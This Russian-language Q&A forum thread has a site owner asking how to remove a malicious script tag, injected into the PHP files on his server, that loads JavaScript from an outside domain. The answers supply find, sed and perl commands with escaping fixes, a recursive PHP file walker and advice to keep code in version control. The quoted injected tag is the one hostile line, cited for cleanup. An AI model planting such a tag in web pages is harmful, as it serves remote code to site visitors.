makecode
@makecode

Помогите составить команду

Добрый день!
Помогите пожалуйста составить команду. Где-то на сервере бэкдор или что-то такое. Заразил файлы .php, в которых есть элемент body
Нашел команду по замене, но не получается заменить целую конструкцию.

Вот эту "<script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script>"


find . -name '*.php' -print | xargs perl -pi -e's/ЧТО_ИСКАТЬ/ЧЕМ_ЗАМЕНИТЬ/ig' *.php

find . -name '*.php' -print | xargs perl -pi -e's/<script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script>/ /ig' *.php


Пишет

Bareword found where operator expected at -e line 1, near "s/<script language="JavaScript" src="http://xxxindianxxx"
String found where operator expected at -e line 1, near "js" type=""
Bareword found where operator expected at -e line 1, near "" type="text"
	(Missing operator before text?)
String found where operator expected at -e line 1, at end of line
	(Missing semicolon on previous line?)
syntax error at -e line 1, near "s/<script language="JavaScript" src="http://xxxindianxxx"
Can't find string terminator '"' anywhere before EOF at -e line 1.


Насколько я понял надо или экранировать кавычки или пробелы, но не знаю как.

Большое спасибо за любой ответ!
  • Вопрос задан
  • 3988 просмотров
Пригласить эксперта
Ответы на вопрос 8
BuriK666
@BuriK666
Компьютерный псих
а можно
find . -name '*.php' -exec sed -i 's#<script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script># #ig'  {} \;
Ответ написан
Комментировать
HighQuality
@HighQuality
☁ Ниндзя девелопер
Можно и php скрипт накатать. Обойти все файлы рекурсивно? Не вопрос.

$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('/path/to/project'), RecursiveIteratorIterator::CHILD_FIRST);

foreach( $iterator as $item ) {
  if( $item->isFile() ) {
    // ... ты знаешь что делать :D
  }
}
Ответ написан
Комментировать
semaster
@semaster
чтобы экранировать кавычки — вместо " пиши \"
Ответ написан
Комментировать
sdevalex
@sdevalex
Нужно экранировать служебные символы типа "/" и "." (все в документации нужно смотреть perldoc.perl.org/perlre.html#Metacharacters).

s/<script language="JavaScript" src="http:\/\/xxxindianxxx.com\/st\/css\/jquery-1.6.5\.min\.js" type="text/javascript"><\/script>//ig
Ответ написан
Комментировать
ivnik
@ivnik
А ещё text/javascript нужно писать как text\/javascript
А также у вас будут проблемы если в именах php файлов есть пробелы (см. man find -exec).
Ответ написан
jcmvbkbc
@jcmvbkbc
"I'm here to consult you" © Dogbert
find . -name '*.php' -print0 | xargs -0 -i{} sed -i\{} -e's!<script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script>!!ig'
Ответ написан
Комментировать
mekegi
@mekegi
Каждый раз читая тут как люди словили троянов на серваке и методы лечения от оных становится как то грустно.
Ну зачем искать их через поиск по всем файлам? У вас что нет системы контроля версий? (если нет то пора бы завести)
Код существует в одном экземпляре на серваке и больше нигде?
Если ответ «да», то как только всякими костыли и ручками вычистите эту заразу, заведите git, hg ну или свн и запушьте на какой нибудь удаленный сервак (благо есть куча бесплатных сервисов с закрытыми репозитариями), и когда в след раз вас «хакнут» сделайте пулл с удаленного сервака и все будут счастливы.
Ну ей богу, как дети малые.
Ответ написан
shambler81
@shambler81 Куратор тега Linux
Если у тебя проблема с экранированием спецсимволов вообще сократи их или пропусти обычной точкой, мало вероятно что у тебя на сайте еще есть упоминание данного сайта в валидных целях. Топорно но очень легко пишется.
find . -name '*.php' -exec sed -i 's/.script .*.http...xxxindianxxx.com.st.css.*.script../Новый текст
или пустота/g' "{}" \;
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы